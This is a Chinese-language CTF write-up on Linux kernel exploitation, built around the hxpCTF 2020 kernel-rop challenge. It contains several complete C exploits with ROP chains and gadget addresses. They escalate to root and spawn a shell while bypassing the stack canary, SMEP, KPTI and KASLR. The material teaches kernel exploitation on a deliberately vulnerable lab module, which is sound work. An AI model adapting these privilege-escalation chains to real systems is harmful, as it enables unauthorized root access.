Linux Kernel 介绍 Linux 内核是 Linux 操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由 Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。
Linux 内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux 内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。
Linux Kernel 环境
vmlinuz或bzImage:linux内核的压缩镜像
vmlinux:linux内核的符号表
initramfs.cpio.gz:文件系统,有系统启动的信息
run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护
Linux Kernel gadget获取 通过压缩的linux内核镜像获取符号表
1 ./extract-image.sh ./vmlinuz > vmlinux
extract-image.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # !/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it' s really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1 ) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done }# Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi# Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0# That didn't work, so retry after decompression. try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd# Finally check for uncompressed images or objects: check_vmlinux $img# Bail out: echo "$me: Cannot find vmlinux." >&2
ROPgadget获取 不建议用ROPgadget,速度比较慢
1 ROPgadget --binary ./vmlinux > gadgets.txt
Ropper获取 使用ropper速度会比较快
1 ropper --file ./vmlinux --nocolor > g
直接获取
然后搜索
1 cat gadgets.txt | grep 'pop'
文件系统 解包 1 2 3 4 5 6 mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio
打包 1 2 3 4 5 6 7 gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../
Linux Kernel的保护措施
Kernel stack cookies【canary】:防止内核栈溢出
Kernel address space layout【KASLR】:内核地址随机化
Supervisor mode execution protection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。
开启:在-cpu参数中设置+smep
关闭:nosmep添加到-append
Supervisor Mode Access Prevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。
开启:在-cpu参数中设置+smap
关闭:nosmap添加到-append
Kernel page-table isolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。
开启:kpti=1
关闭:nopti添加到-append
hxpCTF 2020 kernel-rop 这里使用hxpCTF 2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read 这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息
hackme_write hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。
动态调试 首先在启动脚本run.sh
中加入-s
的参数,使得可以使用gdb对qemu进行调试
其次可以使用lsmod
查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0
否则直接运行不会显示模块的地址,结果如下
将权限修改为0之后,就可以正常显示了
然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux
,并且也加载到gdb中
最后就可以开启远程调试了,target remote:1234
这里需要注意的是ida
中显示的地址可能不准确,因此可以直接在qemu
中查看,cat /proc/kallsyms | grep hackme
在hackme_write
中打下断点
这里我遇到个问题是在遇到push
指令时不能够使用ni
进行跟踪,而是需要si
,否则会跑飞。
使用ni
进行单步调试,程序会直接运行,无法断下来。
使用si
则可以单步
至此就可以对hackme.ko的模块进行调试了。
未开启保护 首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。
run.sh 在append
使用使用nosmap
、nosemp
、nokaslr
、nopti
关闭smap
、semp
、kaslr
以及kpti
的保护
1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128M \ -cpu kvm64\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \ -s
ret2user 由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。
首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可
在hackme_read
中打下断点,查看变量v6
中存储了什么值,由于程序是通过memcpy
进行数据拷贝的,因此直接查看RSI
寄存器对应的数据
可以发现canary
的值就在其中,因此利用hackmeread
这个函数就可以将数据泄露出来
这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。
在泄露canary
后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root
凭证,在切换到用户态下。
prepare_kernel_cred
函数
prepare_kernel_cred
函数用于为内核中的进程(也就是进程的内核线程)创建一个新的 cred
结构体,该结构体包含有关进程的安全上下文信息,例如 UID、GID、capabilities 等。
commit_creds
函数
commit_creds
函数接受一个指向 cred
结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。
因此调用prepare_kernel_cred(0)
可以获取root
权限的凭证,接着调用commit_creds
函数,就可以将当前进程的特权修改为root
。即指向commit_creds(prepare_kernel_cred(0))
在获取完root
之后则需要调用swapgs
指令进行GS
寄存器的切换,即将g_base
与k_gs_base
的值进行交换,swapgs
是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS 寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。
执行swapgs
指令之前
执行swapgs
指令之后
最后则是切换回用户态,iretq
指令是 x86 架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是 iret
指令的 64 位版本,用于在 64 位模式下使用。
iretq
指令有以下三个功能:
恢复处理器的标志寄存器 (EFLAGS) 的值,以便返回到原始程序的执行上下文。
恢复程序计数器 (Instruction Pointer, RIP) 的值,以便返回到原始程序的执行点。
恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。
iretq
还原的值的顺序为RIP|CS|RFLAGS|SP|SS
,那么在iret
指令中按顺序填充RIP
、CS
、RFLASG
、RSP
以及SS
的值即可,因此在执行iretq
之前需要将在用户态下将这些值进行保存。并且RIP
指向的值为system("/bin/sh")
函数的地址即可。
保存寄存器的汇编代码如下
1 2 3 4 5 6 7 8 9 __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" );
在iretq
指令后跟随的值如下
exp 因此最后构造的exp
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #include <stdio.h> #include <fcntl.h> unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("[*] Saved userland registers" ); printf ("[#] cs: 0x%lx \n" , user_cs); printf ("[#] ss: 0x%lx \n" , user_ss); printf ("[#] rsp: 0x%lx \n" , user_sp); printf ("[#] rflags: 0x%lx \n\n" , user_rflags); }void backdoor () { printf ("****getshell****" ); system("id" ); system("/bin/sh" ); }unsigned long user_rip = (unsigned long )backdoor;void lpe () { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" "xor rdi, rdi;" "call rax;" "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); }int main () { unsigned int i, index = 0 ; int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 8 *11 ); for (i = 0 ; i < 11 ; i++) printf ("i:%d:data:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long leak_addr = buf[10 ]; save_user_land(); unsigned long payload[256 ]; for (i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )lpe; write(fd, payload, index * 8 ); return 0 ; }
绕过SMEP SMEP
保护是防止内核执行用户空间的代码,而上述的exp
则是将利用过程是将汇编语言写在用户空间中,因此在SMEP
的保护下,上述的利用会失效。下面将介绍绕过SMEP
的几种方法。
run.sh 1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128 M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \ -s
修改CR4寄存器 前面说过开启SMEP
保护实际是将CR4
寄存器的第20比特位置为1
那么一个简单的想法就是将CR4
寄存器的第20比特位重写为0,关闭SMEP
的保护就可以使用上述的利用手法了。那么写cr4
寄存器的是通过native_write_cr4
函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret
的gadget
。
找到native_write_cr4
函数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 #include <stdio.h> #include <fcntl.h> unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("[*] Saved userland registers" ); printf ("[#] cs: 0x%lx \n" , user_cs); printf ("[#] ss: 0x%lx \n" , user_ss); printf ("[#] rsp: 0x%lx \n" , user_sp); printf ("[#] rflags: 0x%lx \n\n" , user_rflags); }void backdoor () { printf ("****getshell****" ); system("id" ); system("/bin/sh" ); }unsigned long user_rip = (unsigned long )backdoor;void lpe () { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" "xor rdi, rdi;" "call rax;" "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); }int main () { unsigned int i, index = 0 ; int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 8 *11 ); for (i = 0 ; i < 11 ; i++) printf ("i:%d:data:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long leak_addr = buf[10 ]; save_user_land(); unsigned long payload[256 ]; for (i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 0x00000000000060 ; payload[index++] = 0xffffffff814443e0 ; payload[index++] = (unsigned long )lpe; write(fd, payload, index * 8 ); return 0 ; }
但是在这个版本下的内核已经无法通过native_write_cr4
函数改写CR4
寄存器了,可以通过dmesg
打印日志信息,可以发现
提示pinned CR4 bits changed: 0x100000!?
的错误,并且CR4
的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4
函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。
可以看到补丁的说明,在启动后CR4
的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。
构造逃逸ROP 由于SMEP
只是杜绝了执行用户态的代码,因此利用ROP
的思路,在内核态完成ROP
链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
的流程。
那么此时需要什么样的gadget
则是构造逃逸ROP
的重点,由于需要手动传参调用上述的攻击链,因此需要
pop rdi; ret;
mov rdi , rax; ret
,这里需要注意的是,我们需要prepare_kernel_cred(0)
执行的返回值,因此需要将rax
寄存器的值传递给rdi
寄存器
swapgs; ret
iretq
除了mov rdi, rax; ret
以外,其余的gadget
都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret
这样的gadget
,因此需要想办法找到其他的gadget
,这里我找到如下的组合,通过构造rdi
与rsi
的值,使得rdi = rsi
从而导致jne
的跳转无法执行,那么就可以在执行mov rdi, rax
的情况下可以跳过jne
的跳转指令执行到ret
指令。
1 2 3 4 0xffffffff8166fea3 : mov rdi, rax; jne 0x86fe73 ; pop rbx; pop rbp; ret; 0xffffffff81006370 : pop rdi; ret;0xffffffff818c6b35 : add rsi, 1 ; cmp rsi, rdi; jne 0xac6b30 ; pop rbp; ret; 0xffffffff8150b97e : pop rsi; ret;
因此ROP
逃逸的思路与在用户态的ROP
区别不大,只要找到合适的gadget
即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 #include <stdio.h> #include <fcntl.h> unsigned long user_cs,user_rflags,user_sp,user_ss;void save_state () { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("***save state***" ); printf ("user_cs:0x%lx\n" , user_cs); printf ("user_sp:0x%lx\n" , user_sp); printf ("user_ss:0x%lx\n" , user_ss); printf ("user_rflags:0x%lx\n" , user_rflags); puts ("***save finish***" ); }void backdoor () { puts ("***getshell***" ); system("/bin/sh" ); }int main () { save_state(); int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 0x10 * 8 ); for (int i = 0 ; i < 0x10 ; i++) printf ("i:%d\taddress:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c67f0 ; payload[index++] = 0xffffffff8150b97e ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 1 ; payload[index++] = 0xffffffff818c6b35 ; payload[index++] = 0 ; payload[index++] = 0xffffffff8166fea3 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c6410 ; payload[index++] = 0xffffffff8100a55f ; payload[index++] = 0 ; payload[index++] = 0xffffffff814381cb ; payload[index++] = (unsigned long )backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }
栈迁移 栈迁移能使用的场景是当我们需要构造的ROP
链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP
指针的gadget
可以使用。这里我找到的gadget
是,通过pop rbp; ret
与mov rsp, rbp
结合,就能够篡改rsp
为任何值。
1 2 0xffffffff818fa3ef : xor rax, rdx; pop rbp; ret;0xffffffff810062dc : mov rsp, rbp; pop rbp; ret;
那么需要将rsp
篡改为何值,此时就需要结合mmap
函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp
的值指向mmap
开辟的地址,通过栈迁移技术,将栈迁移到mmap
的地址值,我们在将ROP
链填充到mmap
开辟的内存中即可,这里对mmap
函数进行一个介绍。
mmap函数 1 void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset) ;
addr
:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000
(这里是我自己测试的)
length
:内存的大小
prot
:权限
PROT_EXEC,执行权限
PROT_READ,读权限
PROT_WRITE,写权限
PROT_NONE,没有任何权限
flags
:标志位,mmap
函数可以设置的标志位有很多,这里着重介绍一些常用的
MAP_SHARED
:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件
MAP_PRIVATE
:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件
MAP_ANONYMOUS
:匿名映射,是一种不映射文件的映射
MAP_FIXED
:固定映射,即映射地址必须是addr
所指定的,若该地址被占用则mmap
返回错误
fd
:需要映射的文件描述符,若是匿名映射则设置为-1
offet
:映射的偏移,即选择从哪个位置开始映射
映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS
与MAP_FIXED
的标志位需要被指定,然后是MAP_SHARED
与MAP_PRIVATE
必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。
栈迁移完成
将ROP
链部署在了映射内存中
最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap
开辟的内存是在用户态的,SMEP
则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP
,后面理解发现,我们只是访问了用户空间的地址即0x2000
,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP
时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP
无法阻碍这种利用。而这也正是SMAP
与SMEP
的区别,SMAP
则是无法读写用户态空间,因此若开启了SMAP
,那么该利用手法则无法进行。
绕过KPTI KPTI(Kernel Page Table Isolation)是一种针对 Intel 处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU 可以被利用的安全漏洞所造成的影响。KPTI 的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。
简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。
那么有两种方式可以绕过KPTI
捕获Segmentation fault
的异常,在异常处理中调用system(/bin/sh)
切换页表,将内核空间的页表切换到用户空间中去
run.sh 1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \ -s
使用异常处理 使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV
信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh")
1 signal(SIGSEGV, backdoor);
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 #include <stdio.h> #include <fcntl.h> #include <signal.h> unsigned long user_cs,user_rflags,user_sp,user_ss;void save_state () { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("***save state***" ); printf ("user_cs:0x%lx\n" , user_cs); printf ("user_sp:0x%lx\n" , user_sp); printf ("user_ss:0x%lx\n" , user_ss); printf ("user_rflags:0x%lx\n" , user_rflags); puts ("***save finish***" ); }void backdoor () { puts ("***getshell***" ); system("/bin/sh" ); }int main () { save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 0x10 * 8 ); for (int i = 0 ; i < 0x10 ; i++) printf ("i:%d\taddress:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c67f0 ; payload[index++] = 0xffffffff8150b97e ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 1 ; payload[index++] = 0xffffffff818c6b35 ; payload[index++] = 0 ; payload[index++] = 0xffffffff8166fea3 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c6410 ; payload[index++] = 0xffffffff8100a55f ; payload[index++] = 0 ; payload[index++] = 0xffffffff814381cb ; payload[index++] = (unsigned long )backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }
使用swapgs_restore_regs_and_return_to_usermode 第二种方式则是修改页表,CR3 寄存器是 x86 架构中的一种控制寄存器,用于存储页目录表(Page Directory Table)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。
那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode
,swapgs_restore_regs_and_return_to_usermode
函数是在 x86 架构中用于从内核态切换到用户态的汇编代码片段。这个函数的作用是在内核态执行完系统调用或中断处理程序后,恢复用户态进程的寄存器状态,并返回到用户态进程的执行点继续执行。
在内核中搜索该函数的地址
可以看到在该函数的内部存在修改CR3
的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表,但是该函数的起始位置会进行非常多的弹栈操作,如果直接使用很容易造成ROP
链的空间不足,因此可以选择在swapgs_restore_regs_and_return_to_usermode + 0x16
的位置开始执行。
在该函数后续的执行中,还会执行swapgs
的指令,切换GS
的寄存器,并且做一个绝对跳转到0xffffffff81200fco
在该地址的后续还存在这iretq
的指令,因此该函数具备了所有的条件。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 #include <stdio.h> #include <fcntl.h> unsigned long user_cs,user_rflags,user_sp,user_ss;void save_state () { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("***save state***" ); printf ("user_cs:0x%lx\n" , user_cs); printf ("user_sp:0x%lx\n" , user_sp); printf ("user_ss:0x%lx\n" , user_ss); printf ("user_rflags:0x%lx\n" , user_rflags); puts ("***save finish***" ); }void backdoor () { puts ("***getshell***" ); system("/bin/sh" ); }int main () { save_state(); int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 0x10 * 8 ); for (int i = 0 ; i < 0x10 ; i++) printf ("i:%d\taddress:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c67f0 ; payload[index++] = 0xffffffff8150b97e ; payload[index++] = 0 ; payload[index++] = 0xffffffff81006370 ; payload[index++] = 1 ; payload[index++] = 0xffffffff818c6b35 ; payload[index++] = 0 ; payload[index++] = 0xffffffff8166fea3 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0xffffffff814c6410 ; payload[index++] = 0xffffffff81200f10 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }
绕过SMAP SMAP
则是防止在内核态时访问用户态的空间,此时使用swapgs_restore_regs_and_return_to_usermode
函数也是完全可以绕过的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode
构建的ROP
链。
但是如果遇到长度不够时,就能够将栈迁移到用户空间上了,因为在开启SMAP
保护的时候就没有办法访问用户空间。那么此时只能借助内核的其他空间进行栈迁移,该手法利用比较复杂,因此留到以后再介绍。
绕过KASLR KASLR
与用户态下的ASLR
差不多,都是开启了地址的随机化,因此不能使用绝对地址。
run.sh 1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128 M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr nofgkaslr kpti=1 quiet panic=1" \ -s
泄露内核地址 通过泄露内核的程序基地址,再加上函数的偏移即可绕过,与用户态下的利用没有区别。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 #include <stdio.h> #include <fcntl.h> unsigned long user_cs,user_rflags,user_sp,user_ss;void save_state () { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("***save state***" ); printf ("user_cs:0x%lx\n" , user_cs); printf ("user_sp:0x%lx\n" , user_sp); printf ("user_ss:0x%lx\n" , user_ss); printf ("user_rflags:0x%lx\n" , user_rflags); puts ("***save finish***" ); }void backdoor () { puts ("***getshell***" ); system("/bin/sh" ); }int main () { save_state(); int fd = open("/dev/hackme" , O_RDWR); unsigned long buf[256 ]; read(fd, buf, 0x10 * 8 ); for (int i = 0 ; i < 0x10 ; i++) printf ("i:%d\taddress:0x%lx\n" ,i, buf[i]); unsigned long canary = buf[2 ]; unsigned long payload[256 ]; unsigned int index = 0 ; for (int i = 0 ; i < (16 ); i ++) payload[index++] = 0 ; unsigned long leak_addr = buf[10 ]; printf ("leak addr:0x%lx\n" , leak_addr); payload[index++] = canary; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = leak_addr - 8682711 ; payload[index++] = 0 ; payload[index++] = leak_addr - 3700823 ; payload[index++] = leak_addr - 3417801 ; payload[index++] = 0 ; payload[index++] = leak_addr - 8682711 ; payload[index++] = 1 ; payload[index++] = leak_addr + 494318 ; payload[index++] = 0 ; payload[index++] = leak_addr - 1958308 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = leak_addr - 3701815 ; payload[index++] = leak_addr - 6607159 + 22 ; payload[index++] = 0 ; payload[index++] = 0 ; payload[index++] = (unsigned long )backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8 ); }
参考链接 https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://blog.wohin.me/posts/linux-kernel-pwn-01/#case-1-disable-smepsmap-kpti-kaslr-and-fg-kaslr
https://lore.kernel.org/all/202006082013.71E29A42@keescook/T/#u